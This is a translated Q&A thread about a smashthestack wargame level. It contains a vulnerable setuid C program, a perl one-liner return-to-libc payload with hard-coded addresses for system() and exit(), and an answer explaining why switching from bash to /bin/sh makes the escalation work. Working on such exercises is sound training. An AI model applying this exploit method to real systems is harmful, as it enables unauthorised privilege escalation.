0

我试图通过这个“游戏”的第 2 级http://smashthestack.org/faq.html (通过黑盒服务器上的 ssh 连接),它包含一个基本的缓冲区溢出。

在目录 /home/level2 中(每个级别都有一个目录,其中包含一个包含该级别密码的文件)有一个名为 getowner 的可执行文件及其源代码:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
        printf("No filename configured!\n");
        return 1;
    }

    while(*filename == '/')
        filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}

拥有可执行文件的用户是level3

level2@blackbox:~$ ls -lisa getowner
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner

因此,如果我可以利用缓冲区溢出并生成一个 shell 作为 level3,我可以读取文件 /home/level3/password,获取密码并赢得关卡:我说的对吗?

所以

1)我尝试在环境变量中上传shellcode并伪造文件名变量以修改堆栈中的返回地址以返回shellcode,但如您所见

level2@blackbox:~$ readelf -l getowner | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

堆栈中的代码无法执行。

2)然后,我尝试使用 Return-to-libc 攻击并调用系统(/bin/bash),但在生成的 shell 中我仍然是 level2 用户:(

level2@blackbox:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"')
level2@blackbox:~$ ./getowner 
The owner of this file is: -1207961948
bash-3.1$ id
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers)

其中system()的地址中的0xb7ee59b0,0xb7edb420是exit()的地址,0xbffffe32是字符串/bin/bash的地址。

我有其他选择还是我弄错了?

4

1 回答 1

0

您的第二种方法是正确的,但您应该使用/bin/sh或(/bin/dash如果/bin/sh是符号链接/bin/bash)。

要做的第一件事bash就是将您的euid权限删除到uid. 有关更多详细信息,请参阅此 stackexchange答案。

于 2017-09-16T13:27:26.447 回答